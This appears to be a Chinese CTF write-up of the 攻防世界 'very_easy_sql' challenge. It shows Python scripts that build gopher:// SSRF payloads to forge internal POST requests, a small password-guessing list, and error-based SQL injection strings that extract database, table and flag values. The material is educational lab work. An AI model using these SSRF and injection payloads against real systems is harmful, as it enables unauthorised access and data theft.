当前位置: 首页 > news >正文

攻防世界——Web题 very_easy_sql

目录

payload1

payload2

payload3

 

看到了题目是sql就猜测是sql注入和万能密码了,但怎么试貌似都没有反应,看源代码发现了use.php

访问use.php页面 

可以猜测这里是SSRF,可以访问到我们本不能访问的界面,比如:服务器本地的127.0.0.1:3306

先尝试127.0.0.1

发现成功包含了index.php页面,此页面端口号为80端口,而我们要用到的就是这个端口,还记得一开始的页面:

应该是借助这里的SSRF,才有正常的身份验证权,现在就是想如何借助SSRF向服务器构造请求,让服务器正常执行我们的身份验证权。下面是我之前的一些尝试:

尝试:file:///flag -> nonono 猜测有协议过滤

最终发现gopher不会出现nono用no,这也是我们可以利用的一个协议

gopher协议:可直接封装TCP数据流,模拟基于TCP的应用层协议,只要按目标服务的协议格式构造数据,就能通过gopher协议发送请求。借用该协议SSRF可借助服务器权限攻击内网中原本无法直接访问的服务,实现命令执行,文件写入等高危操作。 

 接下来直接来构造,参考的是这位师傅的文章:攻防世界 very_easy_sql - 寄居动物 - 博客园

payload1

import urllib.parsehost="127.0.0.1:80" 
content_type="application/x-www-form-urlencoded" # 表示请求体是经过 URL 编码的表单数据
content="uname=admin&passwd=admin" # 请求的POST内容
content_length=len(content)data =\
f'''POST /index.php HTTP/1.1
Host: {host}
Content-Type: {content_type}
Content-Length: {content_length}{content}
'''data_url1 = urllib.parse.quote(data) # 将请求转换为URL编码格式
data_url1 = data_url1.replace("%0A","%0D%0A")
# HTTP请求中的行分隔符是\r\n(即%0D%0A的形式)
# 而Python中字符串的默认行为中换行符是\n 所以需要将0a替换为0d0a
data_url2=urllib.parse.quote(data_url1) # 要URL编码解码两次payload='gopher://127.0.0.1:80/_'+data_url2print(payload)

这是借助师傅的wp写出来的, 其中有一点没想明白的是,这里默认是admin/admin,是弱密码没错,但我觉得这里应该有一个爆破的环节,对password进行爆破;而password长度的区别又会影响到content_length的长度(经实验,如果content_length不同的话无法得出答案),所以进行爆破的部分也许可以是这个URL部分:
修改后的代码:

payload2

import urllib.parsedef generate_payload(password):host = "127.0.0.1:80"content_type = "application/x-www-form-urlencoded"content = f"uname=admin&passwd={password}"content_length = len(content)# 构造HTTP请求,确保包含正确的Content-Lengthdata = f'''POST /index.php HTTP/1.1Host: {host}Content-Type: {content_type}Content-Length: {content_length}{content}'''# 第一次URL编码data_url1 = urllib.parse.quote(data)# 替换换行符为HTTP标准的\r\ndata_url1 = data_url1.replace("%0A", "%0D%0A")# 第二次URL编码data_url2 = urllib.parse.quote(data_url1)# 生成最终的Gopher URIpayload = f'gopher://{host}/_{data_url2}'return payloaddef main():# 定义密码字典passwords = ["password", "123456", "12345678", "qwerty", "abc123","monkey", "1234567", "letmein", "trustno1", "dragon","baseball", "111111", "iloveyou", "master", "sunshine","ashley", "bailey", "passw0rd", "shadow", "123123","654321", "superman", "qazwsx", "michael", "Football", "admin"]# 换成自己的字典# 打开文件以保存结果with open('test.txt', 'w') as f:for password in passwords:payload = generate_payload(password)f.write(f"{payload}\n")print(f"Generated payload for password: {password}")print(f"\n所有payload已保存到 test.txt 文件中")if __name__ == "__main__":main()    

 尝试爆破:

 

稍微有些慢,得到1525长度的URL,对应的密码为admin 

得到payload:

gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

响应包为:

 

base64解码得: admin   接下来。。。也不知道怎么办了,加上Cookie参数试试也没反应,后来才知道这里才是用sql的地方。。。

现在直接用python脚本来测sql,构造请求包,也是参考的上面师傅的文章:

payload3

import base64
import urllib.parse
import requests# 初始化请求
url="http://61.147.171.103:54075/use.php"
headers={'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0'}def payload(sql):sql=base64.b64encode(sql.encode('utf-8')).decode('utf-8')cookie=f"this_is_your_cookie={sql}"data = \
f'''POST /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: {cookie}
'''# 注意这里的data不能缩进data_url1 = urllib.parse.quote(data)data_url1 = data_url1.replace("%0A","%0D%0A")gopher='gopher://127.0.0.1:80/_'+data_url1return gopher# 测试
sql="admin'"pay=payload(sql)
print(pay)
params={'url':f'{pay}'}
res=requests.get(url,params=params)
print(res.text)

 

发现闭合方式,且可尝试报错注入

# 爆库得到:security

sql="admin') and extractvalue(1,concat(0x7e,database())) #

# 爆表得到:emails,flag,referers,uagents,us

admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'))) #

# 爆列名得到:flag

admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='flag'))) #

# 爆值得到:cyberpeace{56c067fba665158ddcac12237bcbfa9e}

admin') and extractvalue(1,concat(0x7e,(select left(flag,20) from flag))) #

admin') and extractvalue(1,concat(0x7e,(select right(flag,20) from flag))) #

 


 

 

http://www.xdnf.cn/news/1117801.html

相关文章:

  • 嵌入式 Linux开发环境构建之安装 SSH 软件
  • Spring AI 项目实战(十六):Spring Boot + AI + 通义万相图像生成工具全栈项目实战(附完整源码)
  • mapstruct与lombok冲突原因及解决方案
  • 2025年渗透测试面试题总结-2025年HW(护网面试) 44(题目+回答)
  • vue2入门(1)vue核心语法详解复习笔记
  • Agent篇
  • [Linux入门 ] RAID存储技术概述
  • 面向对象设计模式详解
  • 基于 STM32H743VIT6 的边缘 AI 实践:猫咪叫声分类 CNN 网络部署实战(已验证)中一些bug总结
  • OSPF 基础实验
  • 项目合作复盘:如何把项目经验转化为可复用资产
  • pthread_mutex_unlock函数的概念和用法
  • [办公及工程版浏览器]_Google Chrome 138.0.7204.101全屏启动插件
  • 专业PPT图片提取工具,操作简单
  • 欧拉系统安装UKUI桌面环境
  • spring--xml注入时bean的property属性
  • CentOS 7 升级系统内核级库 glibc 2.40 完整教程
  • 前四天综合总结
  • 事务失效场景@Transactional
  • Vue单文件组件与脚手架工程化开发
  • [特殊字符]使用 Nginx 将 HTTP 重定向到 HTTPS
  • dll文件缺失解决方法
  • SegFix: Model-Agnostic Boundary Refinementfor for Segmentation
  • Linux713 SAMBA;磁盘管理:手动挂载,开机自动挂载,自动挂载
  • 五次方程无根式解的群论证明详解
  • 大模型-量化技术
  • 【设计模式】命令模式 (动作(Action)模式或事务(Transaction)模式)宏命令
  • 【Linux内核模块】模块加载函数--从启动到运行的幕后推手
  • (S4)Efficiently Modeling Long Sequences with Structured State Spaces论文精读(逐段解析)
  • C语言---自定义类型(上)(结构体类型)